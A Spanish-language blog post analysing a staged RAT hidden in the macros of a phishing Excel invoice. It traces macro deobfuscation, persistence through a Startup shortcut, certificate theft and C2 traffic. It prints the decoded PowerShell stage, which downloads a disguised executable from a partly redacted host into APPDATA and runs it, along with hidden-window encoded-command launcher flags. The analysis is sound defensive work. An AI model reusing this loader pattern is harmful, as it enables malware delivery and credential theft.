Analisis de un RAT (Troyano de Acceso Remoto) Oculto en un adjunto Excel

Vamos a echarle un ojo a la actividad de un RAT (Troyano de Acceso Remoto) Empotrado en un Phising Excel. (el exploit esta en las macros) He escogido este ejendro porque la infeccion es por etapas (staged).

Notas:

  • El excel simula una factura pero al abrirla lanza un macro con un exploit con lo que consigue ejecutar un powershell.

  • El verdadero codigo no esta en el excel (asi el antivirus lo tiene mas dificil).

  • En su lugar la carga util del exploit es un “staged payload” que tras varios pasos descarga e instala el verdadero “kraken” desde una url de internet
    Asi el creador puede ir evolucionando el codigo final incluso despues de lanzar los correos con el phising.

Por suerte este tipo de trollanos tipo staged (por etapas) son facilmente bloqueables por un antivirus-proxy tipo “websense”. O incluso Tambien se podria bloquear a nivel de DNS (opendns) bloqueando dominio en el que esta alojada la etapa final.

Notas:

  • Por motivos evidentes. se van ha bloquear partes del archivo y urls del troyano.
  • Tampoco quiero que mi pagina caiga en una lista negra o aparezca como maliciosa por error en las clasificaciones.
  • Ademas el objetivo de este articulo es ver como se analiza la actividad de un virus no el codigo del mismo.
  • Puedes ver las pruebas de deteccion con varios antivirus en referencias




Indice:

1) Abrir el archivo en un entorno seguro
2) Un vistazo a las macros.
3) Stage2 (descarga y ejecucion de codigo .ps1)
4) Descarga y analisis del codigo ps.ps1 (stage2)
5) Analisis del archivo .ps
6) Stage3!!! (descarga y ejecucion un ejecutable camuflado en forma de imagen)
7) Persistencia)
8) Ejecucion del modo RAT
9) Analisis de la ip desde la que se realiza el control
10) Conclusiones
referencias




1) Abrir el archivo en un entorno seguro

Vemos que el excel intenta via “ingenieria social” que habilitemos las macros.
Ojo abro el archivo en un entorno seguro con libreoffice. y a ser posible en una MV (Maquina Virtual) apariencia del excel con virus Lo primero que notamos es que inenta usar la ingenieria social para intentar convencerte de que habilites las macros.




2) Un vistazo a las macros.

Nota: si no entienes nada es normal. El codigo esta ofuscado para que a primera vista no se pueda entender que hace. Asi que no queda otro remedio que depurarlo y/o analizarlo a ver que hace.
macros del excel con virus

Vemos que lo primero que hace es desencriptar y mostrar un mensaje Msgbox(msg,16,Title)

exce

exce

Nota: Analisis con virustotal Adjunto Excel (10Detecciones)




3) Stage2 (descarga y ejecucion de codigo .ps1)

Analizando con cuidado el archivo al final ejecuta powershell descargando un archivo de internet e intenta ejecutarlo.
Pues si… todo ese truño de antes solo es para lanzar este comando.
porque: 1) Para intentar evitar ser detectado. 2) Para saltarse la proteccion de excel de ejecutar comandos. Nota: Esta fase (de momento) no es detectada por ningun antivirus ver: virustotal Analisis Archivo Stage2

El echo de descargarse y ejecutar codigo. Es lo que se conoce como infeccion por etapas.

exce

4) Descarga y analisis del codigo ps.ps1 (stage2)

(recuerda: no dejo ni enlace ni codigo porque los antivirus me marcarian la pagina)

exce

Vemos que de nuevo esta codificado y un pelin ofuscado.
(Esta vez es facil. esta claro que es base64 (tipico) ).
virustotal Analisis Archivo Stage2




5) Analisis del archivo .ps

Podria decodificarlo a mano o usar un servicio como https://www.base64decode.org/ pegando el texto que esta depues de -EC

Pero me cuesta menos dejar el comando.

em50l@jejo.es$  hexdump -C -n90 ps.ps1 
00000000  20 09 20 70 4f 57 45 52  53 68 45 6c 6c 2e 45 58  | . pOWERShEll.EX|
00000010  45 20 09 09 2d 65 58 09  75 4e 52 65 73 54 72 49  |E ..-eX.uNResTrI|
00000020  43 74 65 44 09 20 09 2d  6e 4f 70 20 09 09 2d 57  |CteD. .-nOp ..-W|
00000030  09 48 49 44 44 65 4e 09  20 20 2d 45 43 09 49 41  |.HIDDeN.  -EC.IA|
00000040  41 4a 41 41 6b 41 63 77  42 6c 41 46 51 41 4c 51  |AJAAkAcwBlAFQALQ|
00000050  42 44 41 45 38 41 62 67  42 30                    |BDAE8AbgB0|

em50l@jejo.es$  hexdump -c -n90 ps.ps1 
0000000      \t       p   O   W   E   R   S   h   E   l   l   .   E   X
0000010   E      \t  \t   -   e   X  \t   u   N   R   e   s   T   r   I
0000020   C   t   e   D  \t      \t   -   n   O   p      \t  \t   -   W
0000030  \t   H   I   D   D   e   N  \t           -   E   C  \t   I   A
0000040   A   J   A   A   k   A   c   w   B   l   A   F   Q   A   L   Q
0000050   B   D   A   E   8   A   b   g   B   0                        

Uso hexdump para ver los caracteres de control y no imprimibles del archivo.
Veo que ha usado el tabulador “09h” o “\t” para separar.

Luego corto a partir del tabulador 12 (cut -d$'\t' -f12) lo decodifico (base64 -d) y lo visualizo por pantalla (hexdump -C).

Al final el comando es: cut -d$'\t' -f12 ps.ps1 | base64 -d | hexdump -C

em50l@jejo.es$  cut  -d$'\t' -f12 ps.ps1 | base64 -d | hexdump -C
00000000  20 00 09 00 09 00 73 00  65 00 54 00 2d 00 43 00  | .....s.e.T.-.C.|
00000010  4f 00 6e 00 74 00 45 00  6e 00 54 00 20 00 20 00  |O.n.t.E.n.T. . .|
00000020  20 00 2d 00 56 00 61 00  20 00 09 00 09 00 28 00  | .-.V.a. .....(.|
00000030  09 00 09 00 20 00 2e 00  28 00 47 00 43 00 6d 00  |.... ...(.G.C.m.|
00000040  20 00 4e 00 45 00 77 00  2d 00 6f 00 2a 00 29 00  | .N.E.w.-.o.*.).|
00000050  09 00 20 00 20 00 28 00  20 00 09 00 20 00 5b 00  |.. . .(. ... .[.|
00000060  63 00 48 00 41 00 52 00  5d 00 09 00 09 00 20 00  |c.H.A.R.]..... .|
00000070  30 00 78 00 36 00 45 00  09 00 09 00 20 00 09 00  |0.x.6.E..... ...|
00000080  09 00 20 00 2b 00 09 00  09 00 20 00 5b 00 43 00  |.. .+..... .[.C.|
00000090  48 00 41 00 52 00 5d 00  09 00 09 00 20 00 30 00  |H.A.R.]..... .0.|
000000a0  58 00 34 00 35 00 09 00  09 00 20 00 09 00 09 00  |X.4.5..... .....|
000000b0  20 00 2b 00 09 00 09 00  20 00 5b 00 63 00 48 00  | .+..... .[.c.H.|
000000c0  41 00 72 00 5d 00 09 00  09 00 20 00 30 00 78 00  |A.r.]..... .0.x.|

Veo que hay columnas intercaladas con caracteres null (00h)

Probemos quitando los caracteres null. tr -d '\000'

em50l@jejo.es$  \
cut  -d$'\t' -f12 ps.ps1 | base64 -d | tr -d '\000' | hexdump -C
00000000  20 09 09 73 65 54 2d 43  4f 6e 74 45 6e 54 20 20  | ..seT-COntEnT  |
00000010  20 2d 56 61 20 09 09 28  09 09 20 2e 28 47 43 6d  | -Va ..(.. .(GCm|
00000020  20 4e 45 77 2d 6f 2a 29  09 20 20 28 20 09 20 5b  | NEw-o*).  ( . [|
00000030  63 48 41 52 5d 09 09 20  30 78 36 45 09 09 20 09  |cHAR].. 0x6E.. .|
00000040  09 20 2b 09 09 20 5b 43  48 41 52 5d 09 09 20 30  |. +.. [CHAR].. 0|
00000050  58 34 35 09 09 20 09 09  20 2b 09 09 20 5b 63 48  |X45.. .. +.. [cH|
00000060  41 72 5d 09 09 20 30 78  37 34 09 09 20 09 09 20  |Ar].. 0x74.. .. |
00000070  2b 09 09 20 5b 63 48 41  52 5d 09 09 20 30 78 32  |+.. [cHAR].. 0x2|
00000080  45 09 09 20 09 09 20 2b  09 09 20 5b 43 68 41 72  |E.. .. +.. [ChAr|

Sigo Teniendo caracteres no imprimibles. . en este caso 09h Probemos quitando los caracteres no imprimibles. tr -cd "[:print:]"

em50l@jejo.es$ \
cut -d$'\t' -f12 ps.ps1 |base64 -d |tr -d '\000' |tr -cd "[:print:]" |hexdump -C 
00000000  20 73 65 54 2d 43 4f 6e  74 45 6e 54 20 20 20 2d  | seT-COntEnT   -|
00000010  56 61 20 28 20 2e 28 47  43 6d 20 4e 45 77 2d 6f  |Va ( .(GCm NEw-o|
00000020  2a 29 20 20 28 20 20 5b  63 48 41 52 5d 20 30 78  |*)  (  [cHAR] 0x|
00000030  36 45 20 20 2b 20 5b 43  48 41 52 5d 20 30 58 34  |6E  + [CHAR] 0X4|
00000040  35 20 20 2b 20 5b 63 48  41 72 5d 20 30 78 37 34  |5  + [cHAr] 0x74|
00000050  20 20 2b 20 5b 63 48 41  52 5d 20 30 78 32 45 20  |  + [cHAR] 0x2E |
00000060  20 2b 20 5b 43 68 41 72  5d 20 30 78 37 37 20 20  | + [ChAr] 0x77  |
00000070  2b 20 5b 43 68 61 72 5d  20 30 78 34 35 20 20 2b  |+ [Char] 0x45  +|
00000080  20 5b 43 48 61 72 5d 20  30 78 36 32 20 20 2b 20  | [CHar] 0x62  + |

Asi que por fin una version un poco mas limpia del codigo

em50l@jejo.es$ 
cut -d$’\t’ -f12 ps.ps1 |base64 -d |tr -d ‘\000’ |tr -cd “[:print:]” |tr -s ‘ ‘

seT-COntEnT -Va ( .(GCm NEw-o*) ( [cHAR] 0x6E + [CHAR] 0X45 + [cHAr] 0x74 + [cHAR] 0x2E + [ChAr] 0x77 + [Char] 0x45 … … … + [CHaR] 0X6F + [CHar] 0X61 + [CHAr] 0X64 + [CHaR] 0X64 + [chAR] 0x61 + [chAr] 0X54 + [cHaR] 0x41 ).invoke( https://????mell.com/?????/smartapp.jpg ) -EN ( [ChAr] 0X62 + [ChAR] 0X79 + [chAr] 0X74 + [ChAr] 0X65 ) -pAtH $eNv:APPDATA\NTVHLM.exe ; IEx $eNv:aPPData\NTVHLM.exe

Como se ve intentara descargarse .invoke( https://????mell.com/?????/smartapp.jpg ) , lo renombrara a $eNv:APPDATA\NTVHLM.exe e intentara ejecutarlo IEx $eNv:aPPData\NTVHLM.exe

Nota: esta fase esta tan fuertemente ofuscada/mutada que los antivirus (de momento) no la detectan Analisis con virustotal Archivo PS1 Stage2 (0 Detecciones)




6) Stage3!!! (descarga y ejecucion un ejecutable camuflado en forma de imagen)

(recuerda: no dejo ni enlace ni codigo completo porque los antivirus me marcarian la pagina)

em50l@jejo.es$ wget https://…./smartapp.jpg
em50l@jejo.es$ hexdump -C smartapp.jpg |head
00000000  4d 5a 90 00 03 00 00 00  04 00 00 00 ff ff 00 00  |MZ…………..|
00000010  b8 00 00 00 00 00 00 00  40 00 00 00 00 00 00 00  |……..@…….|
00000020  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |…………….|
00000030  00 00 00 00 00 00 00 00  00 00 00 00 80 00 00 00  |…………….|
00000040  0e 1f ba 0e 00 b4 09 cd  21 b8 01 4c cd 21 54 68  |……..!..L.!Th|
00000050  69 73 20 70 72 6f 67 72  61 6d 20 63 61 6e 6e 6f  |is program canno|
00000060  74 20 62 65 20 72 75 6e  20 69 6e 20 44 4f 53 20  |t be run in DOS |
00000070  6d 6f 64 65 2e 0d 0d 0a  24 00 00 00 00 00 00 00  |mode….$…….|
00000080  50 45 00 00 4c 01 03 00  2b f9 8c 01 00 00 00 00  |PE..L…+…….|
00000090  00 00 00 00 e0 00 02 01  0b 01 08 00 00 1c 0a 00  |…………….|
Ups mas que unaimagen parece un ejecutable.

En efecto este ejecutable (1Mb) ya parece el troyano. Al analizarlo en https://www.virustotal.com da 9 positivos (y subiendo)
* Analisis con virustotal Adjunto Stage3 (12Detecciones)

exce




7) Persistencia

hasta este punto si reiniciamos o apagamos el ordenador el virus quedaria desactivado.
En una infeccion la fase de persistencia se encarga de modificar el sistema para que el virus este activo permanentemente.

  • Primero copia parte del codigo en C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\
  • Despues crea un enlace en el menu de inicio para que el codigo se ejecute en cada arranque. C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\?????.lnk
    Un poco basico y facil de quitar…

  • Analisis con virustotal Troyano RAT una vez instalado. (43Detecciones)




8) ejecucion del modo RAT

Por ultimo una vez que se ha “instalado” es cuando se lanza en modo RAT

Aqui ya es detectado por la mayoria de los antivirus.

rat

Lo cuirioso es lo que hace este RAT.

  • Descargarse los certificados del registro. Usando las claves:
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\ Esto puede ser un problema si tenemos instalado algun certificado importante. Seg Social , Administracion Bancos… Etc. Si uno de estos certificados no esta protegido con contraseña y cae en sus manos el explotador del virus tendra control total.

  • Localizar/rastrear nuestra ip para ello utiliza www.iptrackeronline.com

  • Conectarse a una direccion de monitoreo linkadrum,nl. (en la que posiblemente el explotador tenga cuenta). Posiblemente la utilize de keylogger ya que se percibe envio periodico de informacion. como la comunicacion parece estar encriptada no puedo sacar mucho mas en claro.
    Esto es un problema si en algun momento tecleamos la clave del certificado robado anteriormente.




9) Analisis de la ip desde la que se realiza el control

  • Como cabia de esperar la pagina linkadrum,nl es falsa o esta incompleta. Desde que empeze a analizar el virus esta pagina ha cambiado un par de veces. Supongo que intentanto evitar que caiga en la lista negra de deteciones. Tambien he notado que el dominio a cambiado un par de veces de ip.

La ultima ya aparece como ip maliciosa rat




10) Conclusiones:

Ojo que un excel erroneo puede pasar desapercibido. Abrimos el adjunto aparece un mensaje emergente*** vemos que no es para nosotros lo creramos , borramos el correo.
Y a los 10 minutos nos hemos olvidado del asunto.

Pero el RAT (Troyano de Acceso Remoto) ya se ha instalado. y puede permanecer meses oculto registrando nuestra actividad hasta que por ejemplo tecleemos la clave del banco. El resto no hace falta contarlo.

Evidentemente es muy dificil que se instale en nuestro sistema. * Un antivirus basico como el que viene con windows bastaria para detenerlos * Si el virus ha sido detectado , reportado y analizado. lo mas seguro es que den con la ip y la cierren. Nota: al cerrar la ip no se completaran las fases stage2 stage3 y modo RAT

En otro articulo intentare explicar como detectar a mano este tipo de “intrusos” tanto si son virus o no. ;-)




Referencias: